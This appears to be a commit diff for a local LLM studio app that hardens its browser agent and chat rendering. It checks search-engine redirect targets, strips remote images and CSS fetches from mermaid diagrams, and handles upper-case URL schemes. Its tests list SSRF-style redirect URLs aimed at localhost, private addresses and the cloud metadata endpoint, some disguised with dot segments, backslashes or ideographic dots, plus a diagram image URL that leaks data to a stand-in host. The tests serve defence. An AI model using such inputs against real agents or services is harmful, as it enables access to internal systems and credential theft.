Skip to content

Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.

Studio: keep diagrams, redirect links and approval cards honest (#14427)

Daniel Han2552ee3895e1
diff --git a/studio/backend/core/inference/browser_agent.py b/studio/backend/core/inference/browser_agent.py
index fdef9166e62..d716364fbad 100644
--- a/studio/backend/core/inference/browser_agent.py
+++ b/studio/backend/core/inference/browser_agent.py
@@ -20,7 +20,7 @@ import json
import re
import unicodedata
from typing import Any, Callable, Optional
-from urllib.parse import urlsplit
+from urllib.parse import parse_qs, urlsplit
from loggers import get_logger
@@ -400,6 +400,47 @@ def _host_problem(hostname: str) -> Optional[str]:
return None
+def _whatwg_path(path: str) -> str:
+ """The path as the tab's URL parser leaves it: `\\` is `/`, and `.` / `..` (also as %2e)
+ segments are resolved, with no network-path meaning for a leading `//`."""
+ segments: list[str] = []
+ parts = path.replace("\\", "/").split("/")[1:]
+ for index, part in enumerate(parts):
+ dots = re.sub(r"%2e", ".", part, flags = re.IGNORECASE)
+ last = index == len(parts) - 1
+ if dots == "..":
+ if segments:
+ segments.pop()
+ if last:
+ segments.append("")
+ elif dots == ".":
+ if last:
+ segments.append("")
+ else:
+ segments.append(part)
+ return "/" + "/".join(segments)
+
+
+def _redirect_target(url: str) -> Optional[str]:
+ """The page a search engine's redirect link lands on, as the browser tab unwraps it
+ (``unwrapRedirect`` in features/browser/address.ts), or None."""
+ try:
+ parsed = urlsplit(url)
+ # The tab's URL parser maps the host (UTS 46): full-width letters and ideographic dots too.
+ host = unicodedata.normalize("NFKC", parsed.hostname or "").replace("\u3002", ".").lower()
+ host = host.rstrip(".").removeprefix("www.")
+ except ValueError:
+ return None
+ query = parse_qs(parsed.query)
+ path = _whatwg_path(parsed.path)
+ target = None
+ if (host == "duckduckgo.com" or host.endswith(".duckduckgo.com")) and path == "/l/":
+ target = (query.get("uddg") or [None])[0]
+ elif re.fullmatch(r"google\.[a-z.]+", host) and path == "/url":
+ target = (query.get("q") or query.get("url") or [None])[0]
+ return target if target and re.match(r"^https?://", target, re.IGNORECASE) else None
+
+
def normalize_navigation_url(raw: Any, website_policy: Optional[dict]) -> str:
"""The http(s) URL to open, or ValueError saying why it may not be opened."""
from .tools import _validate_and_resolve_host
@@ -425,6 +466,10 @@ def normalize_navigation_url(raw: Any, website_policy: Optional[dict]) -> str:
ok, reason, _ips = _validate_and_resolve_host(hostname, port)
if not ok:
raise ValueError(reason.removeprefix("Blocked: "))
+ # The tab opens a redirect link's target, so the target has to pass the same checks.
+ target = _redirect_target(url)
+ if target is not None:
+ normalize_navigation_url(target, website_policy)
return url
diff --git a/studio/backend/core/research/citations.py b/studio/backend/core/research/citations.py
index 616374f3862..f167d6b30a4 100644
--- a/studio/backend/core/research/citations.py
+++ b/studio/backend/core/research/citations.py
@@ -20,7 +20,7 @@ from core.research.redaction import _escape_link_destination
# unrolling avoids catastrophic backtracking on unclosed [Document: that would block the event loop.
_DOCUMENT_CITATION = re.compile(r"\[(?:Document|MCP):[^\[\]]*(?:\[[^\[\]]*\][^\[\]]*)*\]")
-_MARKDOWN_LINK_START = re.compile(r"\[([^\]\n]+)\]\((https?://)")
+_MARKDOWN_LINK_START = re.compile(r"\[([^\]\n]+)\]\((https?://)", re.IGNORECASE)
_SOURCES_HEADING = re.compile(
r"^(?:#{1,6}\s+|\*\*)?"
r"(?:Sources?|References?|Bibliography|Works\s+Cited|Source\s+List)"
@@ -28,9 +28,10 @@ _SOURCES_HEADING = re.compile(
re.IGNORECASE | re.MULTILINE,
)
_NUMBERED_CITATION = re.compile(r"(?<!\^)\[(\d+)]")
-_AUTOLINK = re.compile(r"<(https?://[^>\s]+)>")
+_AUTOLINK = re.compile(r"<(https?://[^>\s]+)>", re.IGNORECASE)
# \x00 stops a URL glued to masked code from swallowing its placeholder.
-_RAW_URL = re.compile(r"https?://[^\s<>\x00]+")
+# Any case: a browser reads `HTTPS://` as https too.
+_RAW_URL = re.compile(r"https?://[^\s<>\x00]+", re.IGNORECASE)
# Beside the pattern that restores them: a kind missing there leaves a raw sentinel in the
# report. [0-9] not \d, which also matches other scripts' digits.
_PLACEHOLDER_KINDS = ("research-code", "research-citation")
@@ -240,10 +241,16 @@ def _validate_masked_sources(report: str, sources: list[dict], placeholders: dic
if heading:
report = report[: heading.start()]
+ def catalog_url(url: str) -> str | None:
+ # The scheme is case-insensitive; the catalog spells it in lower case.
+ lowered = re.sub(r"^https?://", lambda m: m.group(0).lower(), url, flags = re.IGNORECASE)
+ return url if url in source_by_url else lowered if lowered in source_by_url else None
+
def citation(url: str) -> str | None:
- source = source_by_url.get(url)
- if source is None:
+ url = catalog_url(url)
+ if url is None:
return None
+ source = source_by_url[url]
title = re.sub(r"(\\*)\|", r"\1\1\\|", _citation_title(source, url))
token = _placeholder("research-citation", len(placeholders))
placeholders[token] = f"[{title}]({_escape_link_destination(url)})"
@@ -326,7 +333,7 @@ def _validate_masked_sources(report: str, sources: list[dict], placeholders: dic
# Cite whole source URLs; drop other raw URLs. Whole-match avoids prefix collisions.
raw = match.group(0)
core = _trim_url_tail(raw)
- if core in source_by_url:
+ if catalog_url(core):
return (citation(core) or core) + raw[len(core) :]
# Keep the trimmed tail so dropping the URL cannot unbalance the prose.
return raw[len(core) :]
diff --git a/studio/backend/tests/test_browser_agent.py b/studio/backend/tests/test_browser_agent.py
index a6eefa3d6e5..b6253775fb9 100644
--- a/studio/backend/tests/test_browser_agent.py
+++ b/studio/backend/tests/test_browser_agent.py
@@ -431,3 +431,42 @@ def test_repeated_browser_calls_run_again_and_keep_the_tools():
assert decision.action == "execute"
controller.record_result(decision, "Done.")
assert not controller.force_final_answer and controller.active_tools()
+
+
+ "url",
+ [
+ "https://www.google.com/url?q=http://127.0.0.1:8888/api/auth/me",
+ "https://duckduckgo.com/l/?uddg=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data",
+ "https://www.google.com/url?q=https://www.google.com/url?q%3Dhttp://10.0.0.1/",
+ # The tab resolves dot segments before it matches the redirect path.
+ "https://www.google.com/foo/../url?q=http://127.0.0.1:8888/private",
+ "https://duckduckgo.com/x/%2e%2e/l/?uddg=http%3A%2F%2F10.0.0.1%2F",
+ # ... and reads a backslash in the path as a slash.
+ "https://www.google.com/foo\\..\\url?q=http://127.0.0.1:8888/private",
+ "https://www.google.com//.././url?q=http://127.0.0.1/private",
+ # ... and maps the host the way IDNA does.
+ "https://www.google\u3002com/url?q=http://127.0.0.1/private",
+ ],
+)
+def test_redirect_target_is_checked_like_the_link(url):
+ # The tab opens the redirect's target, so a local target is refused like a direct link to it.
+ with pytest.raises(ValueError):
+ _request("browser_navigate", {"url": url})
+
+
+def test_redirect_target_honours_the_website_policy():
+ policy = {"allowedDomains": [], "blockedDomains": ["collector.example"]}
+ with pytest.raises(ValueError):
+ _request(
+ "browser_navigate",
+ {"url": "https://www.google.com/url?q=https://collector.example/x"},
+ policy,
+ )
+ # A redirect to an allowed site still opens, with the link as given.
+ assert _request(
+ "browser_navigate", {"url": "https://www.google.com/url?q=https://unsloth.ai/"}, policy
+ ) == {
+ "op": "navigate",
+ "url": "https://www.google.com/url?q=https://unsloth.ai/",
+ }
diff --git a/studio/backend/tests/test_research_report_url_case.py b/studio/backend/tests/test_research_report_url_case.py
new file mode 100644
index 00000000000..4ad8a6717a8
--- /dev/null
+++ b/studio/backend/tests/test_research_report_url_case.py
@@ -0,0 +1,42 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""A report's URLs are held to the source catalog whatever case their scheme is written in:
+browsers treat `HTTPS://` as https, so the check has to as well."""
+
+import pytest
+
+from core.research.citations import _validate_report
+
+
+ ("report", "expected"),
+ [
+ (
+ '```mermaid\nflowchart TD\n A@{ img: "HTTPS://nope.example/x?leak=1" }\n```',
+ '```mermaid\nflowchart TD\n A@{ img: " }\n```',
+ ),
+ ("See HTTPS://nope.example/raw for more.", "See for more."),
+ ("See <Https://nope.example/auto> now.", "See now."),
+ ("See [the page](HTTP://nope.example/link) now.", "See the page now."),
+ ],
+)
+def test_uncatalogued_urls_are_dropped_in_any_case(report, expected):
+ assert _validate_report(report, [], []) == expected
+
+
+def test_a_catalogued_source_is_still_cited():
+ sources = [{"url": "https://unsloth.ai/docs", "title": "Docs"}]
+ assert (
+ _validate_report("Read https://unsloth.ai/docs today.", sources, [])
+ == "Read [Docs](https://unsloth.ai/docs) today."
+ )
+
+
+ "report",
+ ["Read HTTPS://unsloth.ai/docs today.", "Read [the docs](Https://unsloth.ai/docs) today."],
+)
+def test_a_catalogued_source_with_an_uppercase_scheme_is_cited(report):
+ sources = [{"url": "https://unsloth.ai/docs", "title": "Docs"}]
+ assert _validate_report(report, sources, []) == "Read [Docs](https://unsloth.ai/docs) today."
diff --git a/studio/frontend/scripts/check-bundle-budget.ts b/studio/frontend/scripts/check-bundle-budget.ts
index c859d8ac6c6..daa3280fa7a 100644
--- a/studio/frontend/scripts/check-bundle-budget.ts
+++ b/studio/frontend/scripts/check-bundle-budget.ts
@@ -313,8 +313,11 @@ export const BUDGET = {
// The retrieved passage viewer (#13987) in the eager chat UI adds 3,132 B raw / 939 B transfer (6,859,492 ->
// 6,862,624 B raw, 2,065,455 -> 2,066,394 B transfer against 98010f6eee, one machine and build, 96 chunks).
// Raised to that build plus the same 160 B raw / 189 B transfer margin.
- transferBytes: 2_066_583,
- rawBytes: 6_862_784,
+ // Chat safety for diagrams, redirect links and approval cards adds 617 B raw / 238 B transfer (6,862,624 ->
+ // 6,863,241 B raw, 2,066,394 -> 2,066,632 B transfer against 731cb16c2, one machine and build, the diagram
+ // source check itself loaded with the first diagram). Raised to that build plus the same margin.
+ transferBytes: 2_066_821,
+ rawBytes: 6_863_401,
};
// The chunk count is reported but not budgeted. Splitting a page out of the entry raises it while lowering the
diff --git a/studio/frontend/src/components/assistant-ui/markdown-text.tsx b/studio/frontend/src/components/assistant-ui/markdown-text.tsx
index 9b379692940..b1836ba2543 100644
--- a/studio/frontend/src/components/assistant-ui/markdown-text.tsx
+++ b/studio/frontend/src/components/assistant-ui/markdown-text.tsx
@@ -51,7 +51,6 @@ import {
import { Copy01Icon, Download01Icon } from "@hugeicons/core-free-icons";
import { HugeiconsIcon } from "@hugeicons/react";
import { createMathPlugin } from "@streamdown/math";
-import { mermaid } from "@streamdown/mermaid";
import {
type ComponentProps,
type ReactNode,
@@ -93,6 +92,7 @@ import {
import { MAX_HIGHLIGHT_CHARS } from "@/lib/markdown-plugins";
import { markdownBlockFallback } from "./markdown-block-fallback";
import { createCodePlugin } from "./code-plugin";
+import { mermaid } from "./mermaid-plugin";
import { CodeHighlightModeContext } from "./code-highlight-context";
import { spellLines } from "./reasoning-code-colour";
import { useThinkingCodeColour } from "./use-thinking-code-colour";
diff --git a/studio/frontend/src/components/assistant-ui/mermaid-guard.ts b/studio/frontend/src/components/assistant-ui/mermaid-guard.ts
new file mode 100644
index 00000000000..c3a74244a2d
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/mermaid-guard.ts
@@ -0,0 +1,136 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { JSON_SCHEMA, load } from "js-yaml";
+
+/*
+ * Chat and document markdown never loads a remote image (`safeMarkdownUrl`), but mermaid draws
+ * into the live page and fetches what a diagram names while it measures it, before any SVG comes
+ * back. So the diagram source is vetted before mermaid sees it, the same way: an image a diagram
+ * names must be a `data:` URI. A source naming none comes back unchanged, so ordinary diagrams
+ * render exactly as before; running this twice gives the same text.
+ */
+
+const INLINE_IMAGE = /^\s*data:/i;
+
+// Elements an HTML label could use to fetch something. `<` before one of them becomes mermaid's
+// own `#lt;` entity, so the label shows the text instead of building the element.
+const FETCHING_TAG =
+ /<(?=\/?(?:img|image|picture|source|video|audio|track|input|iframe|frame|embed|object|link|style|svg|use|meta|base|body|table|thead|tbody|tr|td|th)\b)/gi;
+
+// A style rule that could name a resource: CSS functions that load one, or an escape hiding one.
+const STYLE_LINE = /^[^\S\n]*(?:classDef|style|linkStyle)\b.*$/gim;
+const STYLE_FETCH = /\\|url\s*\(|image(?:-set)?\s*\(|cross-fade\s*\(|element\s*\(|@import/i;
+
+// An HTML label tag with a style attribute; its CSS can fetch (background-image and the like).
+const STYLED_TAG = /<([a-z][^<>]*\bstyle\s*=[^<>]*)/gi;
+// Numeric character references, which mermaid (`#117;`) and the browser (`&#117;`) both decode.
+const CHAR_REF = /(?:&#|#)(x[0-9a-f]+|\d+);?/gi;
+// `&` left after the numeric decode is a named reference (`&bsol;` is a backslash), so it counts too.
+const CSS_FETCH = /url|image|cross-fade|element\s*\(|@import|\\|&/i;
+
+// Mermaid drops a whole line starting with `%%` before parsing (an `%%{init}%%` directive stays).
+const COMMENT_LINE = /^[^\S\n]*%%(?!\{).*$/gm;
+
+// `details Actor: id` in a sequence diagram merges the page element `id`'s JSON (an `icon` too),
+// which this cannot see; the line is dropped.
+const DETAILS_LINE = /^[^\S\n]*details\b[^:\n[({]*:.*$/gim;
+const SEQUENCE = /^[^\S\n]*sequenceDiagram\b/m;
+
+// A `%%{init}%%` directive or front-matter config whose values could fetch (an XY chart copies
+// theme colours into SVG fills, so url() there loads). Ordinary theme colours stay.
+const DIRECTIVE = /%%\{[\s\S]*?\}%%/g;
+const FRONT_MATTER = /^\s*---[^\S\n]*\n[\s\S]*?\n[^\S\n]*---[^\S\n]*(?=\n|$)/;
+
+// `properties Actor: {json}` in a sequence diagram, where `icon` is drawn as an <image>.
+const ACTOR_PROPERTIES = /(^|;)([^\S\n]*properties\b[^:\n;#]*:)([^#\n;]*)/gim;
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+ return typeof value === "object" && value !== null && !Array.isArray(value);
+}
+
+/** The `id@{ ... }` shape data blocks, as mermaid's lexer ends them: at the first `}` outside a "string". */
+function shapeDataBlocks(source: string): { start: number; end: number; body: string }[] {
+ const blocks: { start: number; end: number; body: string }[] = [];
+ let from = 0;
+ for (;;) {
+ const open = source.indexOf("@{", from);
+ if (open < 0) return blocks;
+ let inString = false;
+ let close = -1;
+ for (let index = open + 2; index < source.length; index++) {
+ const char = source[index];
+ if (char === '"') inString = !inString;
+ else if (char === "}" && !inString) {
+ close = index;
+ break;
+ }
+ }
+ if (close < 0) return blocks;
+ blocks.push({ start: open, end: close + 1, body: source.slice(open + 2, close) });
+ from = close + 1;
+ }
+}
+
+/** A shape data block without a remote `img`, or null when it carries none and stays as written. */
+function withoutRemoteImage(body: string): string | null {
+ let doc: unknown;
+ try {
+ // Parsed the way the flowchart parser parses it, so escaped keys and values are seen decoded.
+ doc = load(body.includes("\n") ? `${body}\n` : `{\n${body}\n}`, { schema: JSON_SCHEMA });
+ } catch {
+ // Unparseable here is unparseable there; only drop it when it might name an image.
+ return /img|\\/i.test(body) ? "" : null;
+ }
+ if (!isRecord(doc) || !("img" in doc)) return null;
+ if (typeof doc.img === "string" && INLINE_IMAGE.test(doc.img)) return null;
+ const rest = Object.fromEntries(Object.entries(doc).filter(([key]) => key !== "img"));
+ return Object.keys(rest).length > 0 ? `@{ ${JSON.stringify(rest).slice(1, -1)} }` : "";
+}
+
+function withoutRemoteIcon(json: string): string | null {
+ let properties: unknown;
+ try {
+ properties = JSON.parse(json);
+ } catch {
+ return /icon|\\|&/i.test(json) ? " {}" : null;
+ }
+ if (!isRecord(properties) || typeof properties.icon !== "string") return null;
+ const icon = properties.icon.trim();
+ // `@id` points at an element already in the page; `data:` is inline.
+ if (icon.startsWith("@") || INLINE_IMAGE.test(icon)) return null;
+ const rest = Object.fromEntries(Object.entries(properties).filter(([key]) => key !== "icon"));
+ return ` ${JSON.stringify(rest)}`;
+}
+
+/** The diagram source with every image or style that would load from elsewhere taken out. */
+export function stripRemoteDiagramImages(source: string): string {
+ let out = "";
+ let at = 0;
+ // Comments are blanked to the same length, so a `@{` or `"` in one cannot hide a later block.
+ const scanned = source.replace(COMMENT_LINE, (line) => " ".repeat(line.length));
+ for (const block of shapeDataBlocks(scanned)) {
+ const replaced = withoutRemoteImage(block.body);
+ if (replaced === null) continue;
+ out += source.slice(at, block.start) + replaced;
+ at = block.end;
+ }
+ out += source.slice(at);
+ if (SEQUENCE.test(scanned)) out = out.replace(DETAILS_LINE, "");
+ return out
+ .replace(DIRECTIVE, (block) => (STYLE_FETCH.test(block) ? "" : block))
+ .replace(FRONT_MATTER, (block) => (STYLE_FETCH.test(block) ? "" : block))
+ .replace(FETCHING_TAG, "#lt;")
+ .replace(STYLED_TAG, (whole, tag: string) => {
+ const decoded = tag.replace(CHAR_REF, (_ref, code: string) => {
+ const point = code[0].toLowerCase() === "x" ? parseInt(code.slice(1), 16) : Number(code);
+ return point <= 0x10ffff ? String.fromCodePoint(point) : "";
+ });
+ return CSS_FETCH.test(decoded) ? `#lt;${tag}` : whole;
+ })
+ .replace(STYLE_LINE, (line) => (STYLE_FETCH.test(line) ? "" : line))
+ .replace(ACTOR_PROPERTIES, (whole, lead: string, head: string, json: string) => {
+ const replaced = withoutRemoteIcon(json);
+ return replaced === null ? whole : `${lead}${head}${replaced}`;
+ });
+}
diff --git a/studio/frontend/src/components/assistant-ui/mermaid-plugin.ts b/studio/frontend/src/components/assistant-ui/mermaid-plugin.ts
new file mode 100644
index 00000000000..887c8f23c6b
--- /dev/null
+++ b/studio/frontend/src/components/assistant-ui/mermaid-plugin.ts
@@ -0,0 +1,41 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { createMermaidPlugin } from "@streamdown/mermaid";
+
+// Mermaid's own secure keys, plus the three CSS strings a `%%{init}%%` directive or front matter
+// would otherwise write into the diagram's <style>, where a url() would load from elsewhere.
+const SECURE_KEYS = [
+ "secure",
+ "securityLevel",
+ "startOnLoad",
+ "maxTextSize",
+ "suppressErrorRendering",
+ "maxEdges",
+ "themeCSS",
+ "fontFamily",
+ "altFontFamily",
+];
+
+const stock = createMermaidPlugin({ config: { secure: SECURE_KEYS } });
+
+/**
+ * Replaces the `mermaid` export of @streamdown/mermaid, one instance for every surface that draws
+ * diagrams, so they share one mermaid config as they did. Every render goes through
+ * `stripRemoteDiagramImages`, which keeps a diagram to the chat's image policy. Package imports
+ * only: the chat barrel reaches this module while it loads.
+ */
+export const mermaid: typeof stock = {
+ ...stock,
+ getMermaid(config) {
+ const instance = stock.getMermaid(config);
+ return {
+ ...instance,
+ async render(id, source) {
+ // Loaded with the first diagram, not with the app: diagrams already render lazily.
+ const { stripRemoteDiagramImages } = await import("./mermaid-guard.ts");
+ return instance.render(id, stripRemoteDiagramImages(source));
+ },
+ };
+ },
+};
diff --git a/studio/frontend/src/components/assistant-ui/tool-code-cell.tsx b/studio/frontend/src/components/assistant-ui/tool-code-cell.tsx
index 649b861d8f7..c2a6c22f73a 100644
--- a/studio/frontend/src/components/assistant-ui/tool-code-cell.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-code-cell.tsx
@@ -4,6 +4,7 @@
"use client";
import { copyToClipboard } from "@/lib/copy-to-clipboard";
+import { escapeBidiControls } from "@/lib/escape-bidi-controls";
import { MAX_HIGHLIGHT_CHARS, codeFence } from "@/lib/markdown-plugins";
import { downloadFile, isDownloadCancelled } from "@/lib/native-files";
import { Tick02Icon } from "@/lib/tick-icon";
@@ -184,7 +185,12 @@ export function ToolCodeCell({
<DownloadBtn code={code} name={downloadName} />
</div>
</div>
- <HighlightedCode code={code} language={language} plain={streaming} />
+ {/* Display only: Copy and Download above keep the code as it runs. */}
+ <HighlightedCode
+ code={escapeBidiControls(code)}
+ language={language}
+ plain={streaming}
+ />
</div>
);
}
diff --git a/studio/frontend/src/components/assistant-ui/tool-fallback.tsx b/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
index 6fc3b16f457..8a94679688a 100644
--- a/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
+++ b/studio/frontend/src/components/assistant-ui/tool-fallback.tsx
@@ -32,6 +32,8 @@ import {
} from "@/components/assistant-ui/sandbox-files";
import { SandboxFiles } from "@/components/assistant-ui/sandbox-files-view";
import { useChatProjectScope } from "@/features/chat/chat-project-scope";
+// eslint-disable-next-line no-restricted-imports -- the feature barrel imports this component
+import { useToolAwaitingApproval } from "@/features/chat/tool-approval";
import { stripAnsi, stringifyToolResult } from "@/lib/strip-ansi";
import { cn } from "@/lib/utils";
import {
@@ -476,6 +478,7 @@ function ToolFallbackError({
}
const ToolFallbackImpl: ToolCallMessagePartComponent = ({
+ toolCallId,
toolName,
argsText,
result,
@@ -500,10 +503,14 @@ const ToolFallbackImpl: ToolCallMessagePartComponent = ({
? { text: widget.text, images: widget.images }
: (widget?.text ?? result);
+ // Open while it waits on Allow / Deny, so what is being approved is readable.
+ const awaitingApproval = useToolAwaitingApproval(toolCallId);
+
return (
<ToolFallbackRoot
className={cn(isCancelled && "bg-muted/30")}
defaultOpen={isToolCallRunning(status)}
+ awaitingApproval={awaitingApproval}
>
<ToolFallbackTrigger
toolName={toolName}
diff --git a/studio/frontend/src/components/markdown/markdown-preview.tsx b/studio/frontend/src/components/markdown/markdown-preview.tsx
index 1a7fdcf5ed7..be75b0ab75d 100644
--- a/studio/frontend/src/components/markdown/markdown-preview.tsx
+++ b/studio/frontend/src/components/markdown/markdown-preview.tsx
@@ -14,7 +14,7 @@ import {
} from "@/components/assistant-ui/markdown-table";
import { codePlugin } from "@/components/assistant-ui/shared-code-plugin";
import { math } from "@streamdown/math";
-import { mermaid } from "@streamdown/mermaid";
+import { mermaid } from "@/components/assistant-ui/mermaid-plugin";
import {
type ComponentProps,
type ReactElement,
diff --git a/studio/frontend/src/features/browser/agent/executor.ts b/studio/frontend/src/features/browser/agent/executor.ts
index 1d20ee1377d..690df2980aa 100644
--- a/studio/frontend/src/features/browser/agent/executor.ts
+++ b/studio/frontend/src/features/browser/agent/executor.ts
@@ -9,6 +9,7 @@ import { openChatItemById, useChatNavigationStore, visibleChatItems } from "@/fe
import { getLocale, translate } from "@/i18n";
import { toast } from "@/lib/toast";
import { isTauri } from "@/lib/api-base";
+import { unwrapRedirect } from "../address";
import { captureHiddenPage, screenshotPage } from "../capture";
import { useBrowserHistoryStore } from "../history-store";
import { hasNativeView, keepInBackground, nativeAction, releaseBackground, whenViewOpen } from "../native-view";
@@ -629,6 +630,20 @@ function navigationContext(action: BrowserAction, context: Run) {
};
}
+/** Where a search engine's redirect link lands: the tab opens that page, so that page is the one gated. */
+/** Every URL a redirect link passes through, the link first and its landing page last. */
+function redirectChain(url: string): string[] {
+ const chain = [url];
+ // Each hop's target is a strictly shorter part of the link, so this ends.
+ for (let next = unwrapRedirect(url); next !== chain[chain.length - 1]; next = unwrapRedirect(next)) chain.push(next);
+ return chain;
+}
+
+function redirectEnd(url: string): string {
+ const chain = redirectChain(url);
+ return chain[chain.length - 1];
+}
+
async function perform(action: BrowserAction, context: Run): Promise<Result> {
const { signal, session } = context;
const { chat, reachedHosts } = session;
@@ -651,7 +666,7 @@ async function perform(action: BrowserAction, context: Run): Promise<Result> {
patchAgentChat(chat, { working: true, runKey: context.runKey });
if (action.op === "navigate") {
- const url = action.url ?? "";
+ const url = redirectEnd(action.url ?? "");
const gate = gateNavigation(url, navigationContext(action, context));
const refused = await pass(gate, context);
if (refused) return { ok: false, error: refused };
@@ -800,8 +815,14 @@ async function perform(action: BrowserAction, context: Run): Promise<Result> {
/^https?:/i.test(info.href) &&
info.href.split("#")[0] !== here.split("#")[0] &&
((action.op === "click" && useNativeBrowser.getState().enabled) || (activates && info.role === "link"));
- const linkGate = followsLink ? gateNavigation(info.href, navigationContext(action, context)) : null;
+ // A search engine's redirect link is gated at the page it lands on, as a navigate would be.
+ const linkEnd = followsLink ? redirectEnd(info.href) : "";
+ const linkGate = followsLink ? gateNavigation(linkEnd, navigationContext(action, context)) : null;
if (linkGate) gates.push(linkGate);
+ // The page itself still loads the wrapper first, so the wrapper keeps its own checks too.
+ const wrappers = followsLink ? redirectChain(info.href).slice(0, -1) : [];
+ const wrapperGates = wrappers.map((url) => gateNavigation(url, navigationContext(action, context)));
+ gates.push(...wrapperGates);
// A form sending to another site carries what was typed there: a new site asks, as a navigation would.
const formAction = submits && info.formAction ? info.formAction : "";
const formGate =
@@ -825,7 +846,8 @@ async function perform(action: BrowserAction, context: Run): Promise<Result> {
if (signal?.aborted) return { ok: false, error: STOPPED };
}
if (formGate) admit(formAction, formGate, context);
- if (linkGate) admit(info.href, linkGate, context);
+ if (linkGate) admit(linkEnd, linkGate, context);
+ wrappers.forEach((url, index) => admit(url, wrapperGates[index], context));
// Before the action goes out, after any question: a request its handler starts at once is the action's too.
const since = Date.now();
@@ -842,19 +864,21 @@ async function perform(action: BrowserAction, context: Run): Promise<Result> {
const pressedAt = Date.now();
// A link: opened in this tab, under the same rules as any other address. Its href is read
// now, so it may not be one the last snapshot listed.
- const gate = gateNavigation(clicked.navigate, navigationContext(action, context));
+ const end = redirectEnd(clicked.navigate);
+ const gate = gateNavigation(end, navigationContext(action, context));
const refused = await pass(gate, context);
if (refused) return { ok: false, error: refused };
- admit(clicked.navigate, gate, context);
+ admit(end, gate, context);
// The page goes the moment the tab navigates, taking the cursor with it: let its press show first.
if (useBrowserAgentStore.getState().showCursor) {
await sleep(Math.max(0, LINK_PRESS_MS - (Date.now() - pressedAt)));
if (signal?.aborted) return { ok: false, error: STOPPED };
}
const sent = Date.now();
- useBrowserStore.getState().navigate(ready.id, { url: clicked.navigate, from: here }, { replace: false });
+ // Straight to the landing page that was gated: the store unwraps only one redirect hop.
+ useBrowserStore.getState().navigate(ready.id, { url: end, from: here }, { replace: false });
const loaded = await waitForLoad(ready.id, signal);
- return loaded ? arrive(loaded, clicked.navigate, action, context, sent) : { ok: false, error: "the browser tab closed." };
+ return loaded ? arrive(loaded, end, action, context, sent) : { ok: false, error: "the browser tab closed." };
}
note = clicked.note;
} else if (action.op === "type") {
diff --git a/studio/frontend/src/features/hub/catalog/model-readme.tsx b/studio/frontend/src/features/hub/catalog/model-readme.tsx
index 383095e9189..34a585bfcd2 100644
--- a/studio/frontend/src/features/hub/catalog/model-readme.tsx
+++ b/studio/frontend/src/features/hub/catalog/model-readme.tsx
@@ -22,7 +22,7 @@ import {
} from "@/components/assistant-ui/markdown-table";
import { codePlugin } from "@/components/assistant-ui/shared-code-plugin";
import { math as streamdownMath } from "@streamdown/math";
-import { mermaid as streamdownMermaid } from "@streamdown/mermaid";
+import { mermaid as streamdownMermaid } from "@/components/assistant-ui/mermaid-plugin";
import {
createContext,
startTransition,
diff --git a/studio/frontend/tests/browser-agent-redirect-gate.test.ts b/studio/frontend/tests/browser-agent-redirect-gate.test.ts
new file mode 100644
index 00000000000..c0b6e4768c0
--- /dev/null
+++ b/studio/frontend/tests/browser-agent-redirect-gate.test.ts
@@ -0,0 +1,108 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// A search engine's redirect link opens its target (the store unwraps it), so the new-site
+// question has to be about the target, not about the search engine the link starts on.
+import assert from "node:assert/strict";
+import { register } from "node:module";
+import { test } from "node:test";
+
+register("./helpers/browser-executor-resolver.mjs", import.meta.url);
+const { runBrowserAction } = await import("../src/features/browser/agent/executor.ts");
+const { answerQuestion, useBrowserAgentStore } = await import("../src/features/browser/agent/agent-store.ts");
+const { chatKeyOfThread, useBrowserStore } = await import("../src/features/browser/store.ts");
+
+const globals = globalThis as Record<string, unknown>;
+useBrowserStore.subscribe(({ tabs }) => {
+ for (const tab of tabs) if (tab.loading) queueMicrotask(() => useBrowserStore.getState().updateTab(tab.id, { loading: false }));
+});
+globals.__authFetch = async () => new Response(null, { status: 200 });
+const policy = { allowedDomains: [], blockedDomains: [] };
+let links: string[] = [];
+globals.__frameAgent = async (_tabId: string, op: Record<string, unknown>) => {
+ if (op.op === "status") return { installed: true, result: { ok: true, quietMs: 1000, doc: "r1" } };
+ return { installed: true, result: { ok: true, text: "page", links } };
+};
+
+type Run = { runKey: string; scope: string; userText: string };
+const run = (scope: string): Run => ({ runKey: `run-${scope}`, scope, userText: "search https://www.google.com/ for qwen" });
+const show = (scope: string) => useBrowserStore.getState().showChat(chatKeyOfThread(scope));
+const pending = () => Object.values(useBrowserAgentStore.getState().chats).find((chat) => chat.question)?.question ?? null;
+const navigate = (id: string, context: Run, url: string) =>
+ runBrowserAction({ id, sessionId: "s", op: "navigate", url, direction: "down", policy }, context);
+const snapshot = (id: string, context: Run) =>
+ runBrowserAction({ id, sessionId: "s", op: "snapshot", direction: "down", policy }, context);
+const opened = () => useBrowserStore.getState().tabs.map((tab) => tab.history.map((entry) => ("url" in entry ? entry.url : "")).join(" ")).join(" ");
+
+/** The host the action asks about (denied), and whether the target was already open when it asked; null when it doesn't ask. */
+async function askedBy(action: Promise<void>, target: string) {
+ let finished = false;
+ const done = action.then(() => {
+ finished = true;
+ });
+ let asked = pending();
+ while (!finished && !asked) {
+ await new Promise((resolve) => setTimeout(resolve, 10));
+ asked = pending();
+ }
+ const openedFirst = opened().includes(target);
+ if (asked) answerQuestion(asked.id, false);
+ await done;
+ return asked ? { host: asked.host, openedFirst } : null;
+}
+
+test("a redirect link to a new site asks about that site before the tab loads it", async () => {
+ const context = run("a");
+ show("a");
+ const target = "https://collector.example/x";
+ const asked = await askedBy(navigate("a1", context, `https://www.google.com/url?q=${encodeURIComponent(target)}`), "collector.example");
